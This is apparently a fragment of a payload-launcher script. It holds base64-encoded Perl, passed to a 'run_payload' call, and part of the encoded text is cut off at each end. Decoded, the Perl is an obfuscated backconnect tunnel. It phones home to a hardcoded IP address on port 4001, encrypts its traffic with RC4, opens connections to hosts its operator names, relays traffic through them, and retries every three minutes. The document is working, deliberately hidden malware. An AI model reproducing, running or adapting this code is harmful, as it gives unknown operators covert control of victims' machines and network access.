ZW1vbjMgPSAwOwoJCSAKCQkgd2hpbGUoMSkgewoJCQkgCgkJCSAkcG9ja2Vtb24yKys7CgoJCQkgJHBvY2tlbW9uMiA9ICRwb2NrZW1vbjIgJiAyNTU7CgoJCQkgJHBvY2tlbW9uNyA9IHVucGFjaygnQycsIHN1YnN0cigkcmM0LCAkcG9ja2Vtb24yLCAxKSk7CgkJCSAKCQkJICRwb2NrZW1vbjEgKz0gJHBvY2tlbW9uNzsKCgkJCSAkcG9ja2Vtb24xID0gJHBvY2tlbW9uMSAmIDI1NTsKCgkJCSAkcG9ja2Vtb244ID0gdW5wYWNrKCdDJywgc3Vic3RyKCRyYzQsICRwb2NrZW1vbjEsIDEpKTsKCgkJCSBzdWJzdHIoJHJjNCwgJHBvY2tlbW9uMiwgMSkgPSBwYWNrKCdDJywgJHBvY2tlbW9uOCk7CgkJIAoJCQkgc3Vic3RyKCRyYzQsICRwb2NrZW1vbjEsIDEpID0gcGFjaygnQycsICRwb2NrZW1vbjcpOwoKCQkJICRwb2NrZW1vbjggKz0gJHBvY2tlbW9uNzsKCQoJCQkgJHBvY2tlbW9uOCA9ICRwb2NrZW1vbjggJiAyNTU7CgoJCQkgJHBvY2tlbW9uMCA9IHVucGFjaygnQycsIHN1YnN0cigkcmM0LCAkcG9ja2Vtb244LCAxKSk7CgkJCSAKCQkJICRwb2NrZW1vbjUgPSB1bnBhY2soJ0MnLCBzdWJzdHIoJCRidWZmMCwgJHN0YXJ0ICsgJHBvY2tlbW9uMywgMSkpOwoKCQkJICRwb2NrZW1vbjUgPSAkcG9ja2Vtb241IF4gJHBvY2tlbW9uMDsKCQkJIAoJCQkgc3Vic3RyKCQkYnVmZjAsICRzdGFydCArICRwb2NrZW1vbjMsIDEpID0gcGFjaygnQycsICRwb2NrZW1vbjUpOwoJCQkgCgkJCSAkcG9ja2Vtb24zKys7CgkJCSAKCQkJIGlmICgtLSRwb2NrZW1vbjQgPT0gMCkKCQkJIHsKCQkJCSBsYXN0OwoJCQkgfQoJCQkgCgkJfQoJCSAKCQkgbGFzdDsKCX0KCQoJICRyc2kgPSAwOwoJCgkgJHJjeCA9ICRzejsKCQoJICRyYnggPSAwOwoJCgkgZG8gewoJCSAKCQkgc3Vic3RyKCQkYnVmZjAsICRzdGFydCArICRyc2ksIDEpID0gcGFjaygnQycsICh1bnBhY2soJ0MnLCBzdWJzdHIoJCRidWZmMCwgJHN0YXJ0ICsgJHJzaSwgMSkpIF4gdW5wYWNrKCdDJywgc3Vic3RyKCQkcGFzc3csICRyYngsIDEpKSkpOwoJCSAKCQkgJHJzaSsrOwoJCQoJCSAkcmJ4Kys7CgkJCgkJICRyY3gtLTsKCQkKCQkgaWYgKCRyYnggPT0gJGxlbmd0aCkgewoJCQkgCgkJCSAkcmJ4ID0gMDsKCQl9CgkJIAoJfSB3aGlsZSgkcmN4ID4gMCk7CgkKfQoKc3ViIGJjY25jdCB7CgoJIG15ICRob3N0ID0gc2hpZnQoQF8pOwoJIAoJIG15ICRwb3J0ID0gc2hpZnQoQF8pOwoJIAoJIG15ICRyZW1haW5pbmcgPSAwOwoJIAoJIG15ICRyZW1haW5pbmc0ID0gMDsKCSAKCSBteSAkZG9tYWluOwoJIAoJIG15ICRwb3J0MDsKCSAKCSBteSBAc29ja2V0YXJyOwoJIAoJIG15IEBzb2NrZXRhcnJheTsKCSAKCSBteSAkYnVmZmVyID0gIlx4MDAiIHggMTAwOwoJIAoJIG15ICRidWZmZXJudWxsID0gIlx4MDAiIHggMzsKCSAKCSBteSAkYnVmZmVyMCA9ICcnOwoJIAoJIG15ICRpc0V4aXQgPSAwOwoJIAoJIG15ICRfcmV0MCA9IDA7CgkgCgkgbXkgJGVjeCA9IDA7CgkgCgkgbXkgJGVheCA9IDA7CgkgCgkgbXkgJGRhdGEgPSAnJzsKCSAKCSBteSAkX3JldCA9IDA7CgkgCgkgbXkgJGVieCA9IDA7CgkgCgkgbXkgJGVkeCA9IDA7CgkgCgkgbXkgJGNvdW50ZXIgPSAwOwoJIAoJIG15ICRjb3VudGNjID0gMDsKCQkgCgkgbXkgJHJpbiA9ICcnOwoJIAoJIG15ICRmbGFnczsKCSAKCSBmb3IgKG15ICRpID0gMDsgJGkgPCAyMDA7ICRpKyspIHsgJHNvY2tldGFycmF5WyRpXSA9IDA7IH0KCSAKCSBteSAkcmVzcG9uY2UgPSAiXHgwMFx4MEFceDAwXHgwNVx4MDFceDAwXHgwMVx4MDBceDAwXHgwMFx4MDBceDAwXHgwMCI7CgkgCgkgc29ja2V0KCRzb2NrZXRhcnJbMF0sIFBGX0lORVQsIFNPQ0tfU1RSRUFNLCBnZXRwcm90b2J5bmFtZSgndGNwJykpOwoJIAoJIHNldHNvY2tvcHQoJHNvY2tldGFyclswXSwgSVBQUk9UT19UQ1AsIFRDUF9OT0RFTEFZLCAxKTsKCSAKCSBteSAkcGFkZHIgPSBzb2NrYWRkcl9pbigkJHBvcnQsIGluZXRfYXRvbigkJGhvc3QpKTsKCSAKCSB1bmxlc3MoY29ubmVjdCgkc29ja2V0YXJyWzBdLCAkcGFkZHIpKSB7IGdvdG8gY2xvc2UwOyB9CgkgCgkgc3Vic3RyKCRidWZmZXIsIDAsIDUwKSA9ICR4b3JkYXRhOwoJIAoJIHN1YnN0cigkYnVmZmVyLCA1MCwgMikgPSAiXHhGRlx4RkYiOwoJIAoJIHN1YnN0cigkYnVmZmVyLCA1NCwgMTEpID0gIlBlcmwgc2NyaXB0IjsKCSAKCSBSYzRfY3J5cHQoXCR4b3JkYXRhLCA1MCwgXCRidWZmZXIsIDUwLCA1MCk7CgkgCgkgc2VuZCgkc29ja2V0YXJyWzBdLCAkYnVmZmVyLCBNU0dfTk9TSUdOQUwpOwoJIAoJIHdoaWxlKDEpIHsKCQkgCgkJICRjb3VudGNjID0gMDsKCQkgCgkJICRyaW4gPSAnJzsKCQkgCgkJIGZvciAobXkgJGkgPSAxOyAkaSA8IDIwMDsgJGkrKykgewoJCSAKCQkJIGlmICgkc29ja2V0YXJyYXlbJGldID09IDEpIHsKCQkJCSAKCQkJCSB2ZWMoJHJpbiwgZmlsZW5vKCRzb2NrZXRhcnJbJGldKSwgMSkgPSAxOwoJCQkJIAoJCQkJICRjb3VudGNjKys7CgkJCSB9CgkJIH0KCQkgCgkJIGlmICgkY291bnRjYyA+IDApIHsKCQkJIAoJCQkgdW5sZXNzIChzZWxlY3QoJHJpbiwgdW5kZWYsIHVuZGVmLCAwLjAwMSkpIHsgZ290byBuZXh0X187IH0KCQkJIAoJCQkgZm9yIChteSAkaSA9IDE7ICRpIDwgMjAwOyAkaSsrKSB7CgkJCQkgCgkJCQkgaWYgKCgkc29ja2V0YXJyYXlbJGldID09IDEpICYmIHZlYygkcmluLCBmaWxlbm8oJHNvY2tldGFyclskaV0pLCAxKSkgewoJCQkJCSAKCQkJCQkgJGRhdGEgPSAnJzsKCgkJCQkJIHJlY3YoJHNvY2tldGFyclskaV0sICRkYXRhLCA2NTUzMCwgMCk7CgkJCQkgCgkJCQkJIHVubGVzcyAoJGRhdGEpIHsKCQkJCQkgCgkJCQkJCSAkc29ja2V0YXJyYXlbJGldID0gMDsKCQkJCQkgCgkJCQkJCSBjbG9zZSgkc29ja2V0YXJyWyRpXSk7CgkJIAoJCQkJCQkgc3Vic3RyKCRyZXNwb25jZSwgMCwgMykgPSBwYWNrKCdDJywgJGkpLiJceDAwXHgwMCI7CgkJIAoJCQkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkcmVzcG9uY2UsIDAsIDMpOwoJCSAKCQkJCQkJIHNlbmQoJHNvY2tldGFyclswXSwgc3Vic3RyKCRyZXNwb25jZSwgMCwgMyksIE1TR19OT1NJR05BTCk7CgkJCQkJIAoJCQkJCSB9CgkJCQkgCgkJCQkJIGVsc2UgewoJCQkJCSAKCQkJCQkJICRidWZmZXIgPSBwYWNrKCdDJywgJGkpLnBhY2soJ1MnLCBsZW5ndGgoJGRhdGEpKS4kZGF0YTsKCQkJCQkgCgkJCQkJCSBSYzRfY3J5cHQoXCR4b3JkYXRhLCA1MCwgXCRidWZmZXIsIDAsIDMpOwoJCSAKCQkJCQkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJGJ1ZmZlciwgMywgbGVuZ3RoKCRkYXRhKSk7CgkJCQkgCgkJCQkJCSBzZW5kKCRzb2NrZXRhcnJbMF0sICRidWZmZXIsIE1TR19OT1NJR05BTCk7CgkJCQkJIAoJCQkJCSB9CgkJCQkgfQoJCQkgfQoJCSB9CgkJIAoJCSBuZXh0X186CgkJIAoJCSBpZiAoJHJlbWFpbmluZzQgIT0gNCkgewoJCQkgCgkJCSAkcmluID0gJyc7CgkJCSAKCQkJIHZlYygkcmluLCBmaWxlbm8oJHNvY2tldGFyclswXSksIDEpID0gMTsKCQkJIAoJCQkgbXkgJHJldCA9IHNlbGVjdCgkcmluLCB1bmRlZiwgdW5kZWYsIDAuMSk7CgkJCSAKCQkJIG5leHQgaWYgKCRyZXQgPCAwKTsKCQkJIAoJCQkgaWYgKCRyZXQgPT0gMCkgewoJCQkJIAoJCQkJICRjb3VudGVyKys7CgkJCQkgCgkJCQkgaWYgKCRjb3VudGVyID09IDEwICogNjApIHsKCQkJCQkgCgkJCQkJICRjb3VudGVyID0gMDsKCgkJCQkJIGxhc3QgaWYgKHN1YnN0cigkYnVmZmVybnVsbCwgMCwgMykgbmUgIlx4MDBceDAwXHgwMCIpOwoJCQkJIAoJCQkJCSBsYXN0IGlmICgkcmVtYWluaW5nICE9IDApOwoJCQkJIAoJCQkJCSBsYXN0IGlmICgkcmVtYWluaW5nNCAhPSAwKTsKCQkJCSAKCQkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVybnVsbCwgMCwgMyk7CgkJCQkgCgkJCQkJIHNlbmQoJHNvY2tldGFyclswXSwgJGJ1ZmZlcm51bGwsIE1TR19OT1NJR05BTCk7CgkJCQkgfQoJCQkJIAoJCQkJIG5leHQ7CgkJCX0KCQkJIAoJCX0KCQkgCgkJIGlmICgkcmVtYWluaW5nICE9IDAgfHwgJHJlbWFpbmluZzQgPT0gNCkgewoJCQkgCgkJCSBpZiAoJGVkeCA9PSAwKSB7CgkJCQkgCgkJCQkgaWYgKHN1YnN0cigkYnVmZmVyMCwgMCwgMSkgZXEgIlx4RkYiICYmIHN1YnN0cigkYnVmZmVyMCwgMSwgMSkgZXEgIlx4RkUiKSB7CgkJCQkJIAoJCQkJCSAkaXNFeGl0ID0gMTsKCQkJCQkgCgkJCQkJIGxhc3Q7CgkJCQkJIAoJCQkJfQoJCQkJIAoJCQkJIGVsc2lmICgkZWJ4IDwgMjAwICYmICRlYnggPiAwICYmICRzb2NrZXRhcnJheVskZWJ4XSA9PSAxKSB7CgkJCQkgCgkJCQkJICRzb2NrZXRhcnJheVskZWJ4XSA9IDA7CgkJCQkJIAoJCQkJCSBjbG9zZSgkc29ja2V0YXJyWyRlYnhdKTsKCQkgCgkJCQkJIHN1YnN0cigkcmVzcG9uY2UsIDAsIDMpID0gcGFjaygnQycsICRlYngpLiJceDAwXHgwMCI7CgkJIAoJCQkJCSBSYzRfY3J5cHQoXCR4b3JkYXRhLCA1MCwgXCRyZXNwb25jZSwgMCwgMyk7CgkJIAoJCQkJCSBzZW5kKCRzb2NrZXRhcnJbMF0sIHN1YnN0cigkcmVzcG9uY2UsIDAsIDMpLCBNU0dfTk9TSUdOQUwpOwoJCQkJIAoJCQkJfQoJCQkKCQkJfQoJCQkKCQkJZWxzZSB7CgkJCQkKCQkJCSAkZWN4ID0gJGVkeDsKCQkJCQoJCQkJICRlY3ggPSAkZWN4IC0gJHJlbWFpbmluZzsKCQkJCSAKCQkJCSAkZGF0YSA9ICcnOwoJCQkJIAoJCQkJIHJlY3YoJHNvY2tldGFyclswXSwgJGRhdGEsICRlY3gsIDApOwoJCQkJCgkJCQkgdW5sZXNzICgkZGF0YSkgeyBsYXN0OyB9CgkJCQkgCgkJCQkgJHJlbWFpbmluZyArPSBsZW5ndGgoJGRhdGEpOwoJCQkJIAoJCQkJICRidWZmZXIwIC49ICRkYXRhOwoJCQkJIAoJCQkJIGlmICgkZWR4ID09ICRyZW1haW5pbmcpIHsKCQkJCQkgCgkJCQkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJGJ1ZmZlcjAsIDQsICRyZW1haW5pbmcpOwoJCQkJCSAKCQkJCQkgaWYgKHVucGFjaygnQycsIHN1YnN0cigkYnVmZmVyMCwgMCwgMSkpID09IDApIHsKCQkJCQkJIAoJCQkJCQkgc29ja2V0KCRzb2NrZXRhcnJbJGVieF0sIFBGX0lORVQsIFNPQ0tfU1RSRUFNLCBnZXRwcm90b2J5bmFtZSgndGNwJykpOwoJCQkJCQkgCgkJCQkJCSAkX3JldDAgPSAwOwoJCQkJCQkgCgkJCQkJCSAkc29ja2V0YXJyYXlbJGVieF0gPSAxOwoJCQkJCQkgCgkJCQkJCSAkcmVzcG9uY2UgPSBwYWNrKCdDJywgJGVieCkuIlx4MEFceDAwXHgwNVx4MDFceDAwXHgwMVx4MDBceDAwXHgwMFx4MDBceDAwXHgwMCI7CgkJCQkJCSAKCQkJCQkJIHNldHNvY2tvcHQoJHNvY2tldGFyclskZWJ4XSwgSVBQUk9UT19UQ1AsIFRDUF9OT0RFTEFZLCAxKTsKCQkJCQkJIAoJCQkJCQkgZmNudGwoJHNvY2tldGFyclskZWJ4XSwgRl9TRVRGTCwgZmNudGwoJHNvY2tldGFyclskZWJ4XSwgRl9HRVRGTCwgMCkgfCBPX05PTkJMT0NLKTsKCQkJCQkJIAoJCQkJCQkgaWYgKHVucGFjaygnQycsIHN1YnN0cigkYnVmZmVyMCwgNywgMSkpID09IDMpIHsKCQkJCgkJCQkJCQkgJGRvbWFpbiA9IHN1YnN0cigkYnVmZmVyMCwgOSwgdW5wYWNrKCdDJywgc3Vic3RyKCRidWZmZXIwLCA4LCAxKSkpOwoJCQkKCQkJCQkJCSAkcG9ydDAgPSB1bnBhY2soJ1MnLCBzdWJzdHIoJGJ1ZmZlcjAsIDkgKyB1bnBhY2soJ0MnLCBzdWJzdHIoJGJ1ZmZlcjAsIDgsIDEpKSArIDEsIDEpLnN1YnN0cigkYnVmZmVyMCwgOSArIHVucGFjaygnQycsIHN1YnN0cigkYnVmZmVyMCwgOCwgMSkpICsgMCwgMSkpOwoJCQkKCQkJCQkJIH0KCQkKCQkJCQkJIGVsc2lmICh1bnBhY2soJ0MnLCBzdWJzdHIoJGJ1ZmZlcjAsIDcsIDEpKSA9PSAxKSB7CgkJCQoJCQkJCQkJICRkb21haW4gPSBzcHJpbnRmKCIlZC4lZC4lZC4lZCIsIHVucGFjaygnQycsIHN1YnN0cigkYnVmZmVyMCwgOCArIDAsIDEpKSwgdW5wYWNrKCdDJywgc3Vic3RyKCRidWZmZXIwLCA4ICsgMSwgMSkpLCB1bnBhY2soJ0MnLCBzdWJzdHIoJGJ1ZmZlcjAsIDggKyAyLCAxKSksIHVucGFjaygnQycsIHN1YnN0cigkYnVmZmVyMCwgOCArIDMsIDEpKSk7CgkJCQoJCQkJCQkJICRwb3J0MCA9IHVucGFjaygnUycsIHN1YnN0cigkYnVmZmVyMCwgMTIgKyAxLCAxKS5zdWJzdHIoJGJ1ZmZlcjAsIDEyICsgMCwgMSkpOwoJCQkKCQkJCQkJIH0KCQkKCQkJCQkJIGVsc2UgewoJCQkKCQkJCQkJCSBnb3RvIGNsb3NlXzsKCQkJCQkJIH0KCQkJCQkJIAoJCQkJCQkgZXZhbCB7CgkJCSAKCQkJCQkJCSBteSAkcGFkZHIgPSBzb2NrYWRkcl9pbigkcG9ydDAsIGluZXRfYXRvbigkZG9tYWluKSk7CgkJCgkJCQkJCQkgY29ubmVjdCgkc29ja2V0YXJyWyRlYnhdLCAkcGFkZHIpOwoJCSAKCQkJCQkJCSB2ZWMobXkgJHdpbiA9ICcnLCBmaWxlbm8oJHNvY2tldGFyclskZWJ4XSksIDEpID0gMTsKCgkJCQkJCQkgdW5sZXNzIChzZWxlY3QodW5kZWYsICR3aW4sIHVuZGVmLCAxKSkgeyBnb3RvIGNsb3NlXzsgfQoJCQkKCQkJCQkJCSBmY250bCgkc29ja2V0YXJyWyRlYnhdLCBGX1NFVEZMLCBmY250bCgkc29ja2V0YXJyWyRlYnhdLCBGX0dFVEZMLCAwKSBeIE9fTk9OQkxPQ0spOwoJCSAKCQkJCQkJCSBzdWJzdHIoJHJlc3BvbmNlLCA0LCAxKSA9ICJceDAwIjsKCQkgCgkJCQkJCQkgJF9yZXQwID0gMTsKCQkJIAoJCQkJCQkgfTsKCQkgCgkJCQkJCSBjbG9zZV86CgkJCQkJCSAKCQkJCQkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAwLCAzKTsKCQkgCgkJCQkJCSBSYzRfY3J5cHQoXCR4b3JkYXRhLCA1MCwgXCRyZXNwb25jZSwgMywgMTApOwoJCSAKCQkJCQkJIHNlbmQoJHNvY2tldGFyclswXSwgJHJlc3BvbmNlLCBNU0dfTk9TSUdOQUwpOwoJCQkJCQkgCgkJCQkJCSBpZiAoJF9yZXQwID09IDApIHsKCQkJCQkJCSAKCQkJCQkJCSAkc29ja2V0YXJyYXlbJGVieF0gPSAwOwoJCSAKCQkJCQkJCSBjbG9zZSgkc29ja2V0YXJyWyRlYnhdKTsKCQkgCgkJCQkJCQkgc3Vic3RyKCRyZXNwb25jZSwgMCwgMykgPSBwYWNrKCdDJywgJGVieCkuIlx4MDBceDAwIjsKCQkgCgkJCQkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkcmVzcG9uY2UsIDAsIDMpOwoJCSAKCQkJCQkJCSBzZW5kKCRzb2NrZXRhcnJbMF0sIHN1YnN0cigkcmVzcG9uY2UsIDAsIDMpLCBNU0dfTk9TSUdOQUwpOwoJCQkJCQkJIAoJCQkJCQkgfQoJCQkJCQkgCgkJCQkJfQoJCQkJCQoJCQkJCSBlbHNpZiAoJHNvY2tldGFycmF5WyRlYnhdID09IDEpIHsKCQkJCQkJIAoJCQkJCQkgc2VuZCgkc29ja2V0YXJyWyRlYnhdLCBzdWJzdHIoJGJ1ZmZlcjAsIDQsICRyZW1haW5pbmcpLCBNU0dfTk9TSUdOQUwpOwoJCQkJCQkgCgkJCQkJCSAKCQkJCQl9CgkJCQkJIAoJCQkJCSAkcmVtYWluaW5nID0gMDsKCQkJCX0KCQkJCQoJCQl9CgkJCSAKCQkJICRyZW1haW5pbmc0ID0gMDsKCQkJIAoJCX0KCQkKCQllbHNlIHsKCQkJCgkJCSBpZiAoJHJlbWFpbmluZzQgPT0gMCkgeyAkYnVmZmVyMCA9ICcnOyB9CgkJCQoJCQkgJGVheCA9IDQ7CgkJCQoJCQkgJGVheCA9ICRlYXggLSAkcmVtYWluaW5nNDsKCQkJIAoJCQkgJGRhdGEgPSAnJzsKCQkJIAoJCQkgcmVjdigkc29ja2V0YXJyWzBdLCAkZGF0YSwgJGVheCwgMCk7CgkJCSAKCQkJIHVubGVzcyAoJGRhdGEpIHsgbGFzdDsgfQoJCQkgCgkJCSAkcmVtYWluaW5nNCArPSBsZW5ndGgoJGRhdGEpOwoJCQkgCgkJCSAkYnVmZmVyMCAuPSAkZGF0YTsKCQkJIAoJCQkgJGJ1ZmZlcm51bGwgPSAiXHgwMCIgeCAzOwoJCQkgCgkJCSAkY291bnRlciA9IDA7CgkJCSAKCQkJIGlmICgkcmVtYWluaW5nNCA9PSA0KSB7CgkJCQkgCgkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyMCwgMCwgNCk7CgkJCQkgCgkJCQkgJGVieCA9IHVucGFjaygnQycsIHN1YnN0cigkYnVmZmVyMCwgMSwgMSkpOwoJCQkJIAoJCQkJICRlZHggPSB1bnBhY2soJ1MnLCBzdWJzdHIoJGJ1ZmZlcjAsIDIsIDIpKTsKCQkJIAoJCQkJICRfcmV0ID0gMTsKCQkJfQoJCQkKCQl9Cgl9CgkKCSBjbG9zZTA6CgkgCgkgY2xvc2UoJHNvY2tldGFyclswXSk7CgkgCgkgZm9yIChteSAkaSA9IDA7ICRpIDwgMjAwOyAkaSsrKSB7CgoJCSBpZiAoJHNvY2tldGFycmF5WyRpXSA9PSAxKSB7IGNsb3NlKCRzb2NrZXRhcnJbJGldKTsgfQoJCSAKCSB9CgkgCgkgaWYgKCRpc0V4aXQgPT0gMSkgeyBleGl0OyB9CgkgCgkgcmV0dXJuICRfcmV0OwoKfQoKd2hpbGUoMSkKewoJIGJjY25jdChcJGhvc3QsIFwkcG9ydCk7CgkgCgkgc2xlZXAgMTgwOwp9"

# script_20.pl
run_payload "IyEvdXNyL2Jpbi9wZXJsCgp1c2Ugc3RyaWN0Owp1c2Ugd2FybmluZ3M7CnVzZSBJTzo6U29ja2V0Owp1c2UgSU86OlNvY2tldCBxdyhJUFBST1RPX1RDUCBUQ1BfTk9ERUxBWSk7CnVzZSBGY250bCBxdyhGX0dFVEZMIEZfU0VURkwgT19OT05CTE9DSyk7CgpteSAkaG9zdCA9ICczNi4yNTUuOTguMTY5JzsKbXkgJHBvcnQgPSA0MDAxOwoKbXkgJHhvcmRhdGEgPSAiXHgwMCIgeCA1MDsKCmZvciAobXkgJGkgPSAwOyAkaSA8IDUwOyAkaSsrKSB7IHN1YnN0cigkeG9yZGF0YSwgJGksIDEpID0gcGFjaygnQycsIHJhbmQoMjU1KSk7IH0KCnN1YiBSYzRfY3J5cHQgewoJIAoJIG15ICRwYXNzdyA9IHNoaWZ0KEBfKTsKCSAKCSBteSAkbGVuZ3RoID0gc2hpZnQoQF8pOwoJIAoJIG15ICRidWZmMCA9IHNoaWZ0KEBfKTsKCSAKCSBteSAkc3RhcnQgPSBzaGlmdChAXyk7CgkgCgkgbXkgJHN6ID0gc2hpZnQoQF8pOwoJIAoJIG15ICRyYzQgPSAiXHgwMCIgeCAyNTY7CgkgCgkgbXkgJHBvY2tlbW9uMCA9IDA7CgkKCSBteSAkcG9ja2Vtb24xID0gMDsKCQoJIG15ICRwb2NrZW1vbjIgPSAwOwoJCgkgbXkgJHBvY2tlbW9uMyA9IDA7CgkKCSBteSAkcG9ja2Vtb240ID0gMDsKCQoJIG15ICRwb2NrZW1vbjUgPSAwOwoJCgkgbXkgJHBvY2tlbW9uNiA9IDA7CgkKCSBteSAkcG9ja2Vtb243ID0gMDsKCQoJIG15ICRwb2NrZW1vbjggPSAwOwoJIAoJIG15ICRyY3ggPSAkc3o7CgkgCgkgbXkgJHJzaSA9IDA7CgkgCgkgbXkgJHJieCA9IDA7CgkgCgkgbXkgJGdzID0gMDsKCSAKCSBteSAkdCA9IDA7CgkgCgkgZm9yIChteSAkaSA9IDA7ICRpIDw9IDI1NTsgJGkrKykgeyBzdWJzdHIoJHJjNCwgJGksIDEpID0gcGFjaygnQycsICRpKTsgfQoJIAoJIGRvIHsKCQkgCgkJIHN1YnN0cigkJGJ1ZmYwLCAkc3RhcnQgKyAkcnNpLCAxKSA9IHBhY2soJ0MnLCAodW5wYWNrKCdDJywgc3Vic3RyKCQkYnVmZjAsICRzdGFydCArICRyc2ksIDEpKSBeIHVucGFjaygnQycsIHN1YnN0cigkJHBhc3N3LCAkcmJ4LCAxKSkpKTsKCQkgCgkJICRyc2krKzsKCQkKCQkgJHJieCsrOwoJCQoJCSAkcmN4LS07CgkJCgkJIGlmICgkcmJ4ID09ICRsZW5ndGgpIHsKCQkJIAoJCQkgJHJieCA9IDA7CgkJfQoJCSAKCX0gd2hpbGUoJHJjeCA+IDApOwoJCgkKCSB3aGlsZSgxKSB7CgkJIAoJCSBpZiAoJGdzID09IDApIHsKCQkJIAoJCQkgJHBvY2tlbW9uMiA9IDA7CgoJCQkgJHBvY2tlbW9uMyA9ICRsZW5ndGg7CgkJfQoJCSAKCQkgaWYgKCRncyAhPSAwKSB7CgkJCSAKCQkJICRncyA9IDA7CgoJCQkgJHBvY2tlbW9uMisrOwoKCQkJIGlmICgtLSRwb2NrZW1vbjMgPT0gMCkgeyBuZXh0OyB9CgkJCSAKCQl9CgkJCgkJICRwb2NrZW1vbjcgPSB1bnBhY2soJ0MnLCBzdWJzdHIoJHJjNCwgJHBvY2tlbW9uMCwgMSkpOwoJCSAKCQkgJHQgPSB1bnBhY2soJ0MnLCBzdWJzdHIoJCRwYXNzdywgJHBvY2tlbW9uMiwgMSkpOwoKCQkgJHBvY2tlbW9uMSArPSAkdDsKCgkJICRwb2NrZW1vbjEgPSAkcG9ja2Vtb24xICYgMjU1OwoKCQkgJHBvY2tlbW9uMSArPSAkcG9ja2Vtb243OwoKCQkgJHBvY2tlbW9uMSA9ICRwb2NrZW1vbjEgJiAyNTU7CgoJCSAkcG9ja2Vtb242ID0gdW5wYWNrKCdDJywgc3Vic3RyKCRyYzQsICRwb2NrZW1vbjEsIDEpKTsKCQkgCgkJIHN1YnN0cigkcmM0LCAkcG9ja2Vtb24wLCAxKSA9IHBhY2soJ0MnLCAkcG9ja2Vtb242KTsKCQkgCgkJIHN1YnN0cigkcmM0LCAkcG9ja2Vtb24xLCAxKSA9IHBhY2soJ0MnLCAkcG9ja2Vtb243KTsKCQkgCgkJICRwb2NrZW1vbjArKzsKCgkJICRwb2NrZW1vbjAgPSAkcG9ja2Vtb24wICYgMjU1OwoJCSAKCQkgaWYgKCRwb2NrZW1vbjAgIT0gMCkgewoJCQkgCgkJCSAkZ3MgPSAxOwoJCQkgCgkJCSBuZXh0OwoJCX0KCQkKCQkgJHBvY2tlbW9uNCA9ICRzejsKCgkJICRwb2NrZW1vbjEgPSAwOwoKCQkgJHBvY2tlbW9uMCA9IDA7CgoJCSAkcG9ja2Vtb24yID0gMDsKCgkJICRwb2NrZW1vbjMgPSAwOwoJCSAKCQkgd2hpbGUoMSkgewoJCQkgCgkJCSAkcG9ja2Vtb24yKys7CgoJCQkgJHBvY2tlbW9uMiA9ICRwb2NrZW1vbjIgJiAyNTU7CgoJCQkgJHBvY2tlbW9uNyA9IHVucGFjaygnQycsIHN1YnN0cigkcmM0LCAkcG9ja2Vtb24yLCAxKSk7CgkJCSAKCQkJICRwb2NrZW1vbjEgKz0gJHBvY2tlbW9uNzsKCgkJCSAkcG9ja2Vtb24xID0gJHBvY2tlbW9uMSAmIDI1NTsKCgkJCSAkcG9ja2Vtb244ID0gdW5wYWNrKCdDJywgc3Vic3RyKCRyYzQsICRwb2NrZW1vbjEsIDEpKTsKCgkJCSBzdWJzdHIoJHJjNCwgJHBvY2tlbW9uMiwgMSkgPSBwYWNrKCdDJywgJHBvY2tlbW9uOCk7CgkJIAoJCQkgc3Vic3RyKCRyYzQsICRwb2NrZW1vbjEsIDEpID0gcGFjaygnQycsICRwb2NrZW1vbjcpOwoKCQkJICRwb2NrZW1vbjggKz0gJHBvY2tlbW9uNzsKCQoJCQkgJHBvY2tlbW9uOCA9ICRwb2NrZW1vbjggJiAyNTU7CgoJCQkgJHBvY2tlbW9uMCA9IHVucGFjaygnQycsIHN1YnN0cigkcmM0LCAkcG9ja2Vtb244LCAxKSk7CgkJCSAKCQkJICRwb2NrZW1vbjUgPSB1bnBhY2soJ0MnLCBzdWJzdHIoJCRidWZmMCwgJHN0YXJ0ICsgJHBvY2tlbW9uMywgMSkpOwoKCQkJICRwb2NrZW1vbjUgPSAkcG9ja2Vtb241IF4gJHBvY2tlbW9uMDsKCQkJIAoJCQkgc3Vic3RyKCQkYnVmZjAsICRzdGFydCArICRwb2NrZW1vbjMsIDEpID0gcGFjaygnQycsICRwb2NrZW1vbjUpOwoJCQkgCgkJCSAkcG9ja2Vtb24zKys7CgkJCSAKCQkJIGlmICgtLSRwb2NrZW1vbjQgPT0gMCkKCQkJIHsKCQkJCSBsYXN0OwoJCQkgfQoJCQkgCgkJfQoJCSAKCQkgbGFzdDsKCX0KCQoJICRyc2kgPSAwOwoJCgkgJHJjeCA9ICRzejsKCQoJICRyYnggPSAwOwoJCgkgZG8gewoJCSAKCQkgc3Vic3RyKCQkYnVmZjAsICRzdGFydCArICRyc2ksIDEpID0gcGFjaygnQycsICh1bnBhY2soJ0MnLCBzdWJzdHIoJCRidWZmMCwgJHN0YXJ0ICsgJHJzaSwgMSkpIF4gdW5wYWNrKCdDJywgc3Vic3RyKCQkcGFzc3csICRyYngsIDEpKSkpOwoJCSAKCQkgJHJzaSsrOwoJCQoJCSAkcmJ4Kys7CgkJCgkJICRyY3gtLTsKCQkKCQkgaWYgKCRyYnggPT0gJGxlbmd0aCkgewoJCQkgCgkJCSAkcmJ4ID0gMDsKCQl9CgkJIAoJfSB3aGlsZSgkcmN4ID4gMCk7CgkKfQoKc3ViIGJjY25jdCB7CgoJIG15ICRob3N0ID0gc2hpZnQoQF8pOwoJIAoJIG15ICRwb3J0ID0gc2hpZnQoQF8pOwoJIAoJIG15ICRyZW1haW5pbmcgPSAwOwoJIAoJIG15ICRyZW1haW5pbmc0ID0gMDsKCSAKCSBteSAkZG9tYWluOwoJIAoJIG15ICRwb3J0MDsKCSAKCSBteSBAc29ja2V0YXJyOwoJIAoJIG15IEBzb2NrZXRhcnJheTsKCSAKCSBteSAkYnVmZmVyID0gIlx4MDAiIHggMTAwOwoJIAoJIG15ICRidWZmZXJudWxsID0gIlx4MDAiIHggMzsKCSAKCSBteSAkYnVmZmVyMCA9ICcnOwoJIAoJIG15ICRpc0V4aXQgPSAwOwoJIAoJIG15ICRfcmV0MCA9IDA7CgkgCgkgbXkgJGVjeCA9IDA7CgkgCgkgbXkgJGVheCA9IDA7CgkgCgkgbXkgJGRhdGEgPSAnJzsKCSAKCSBteS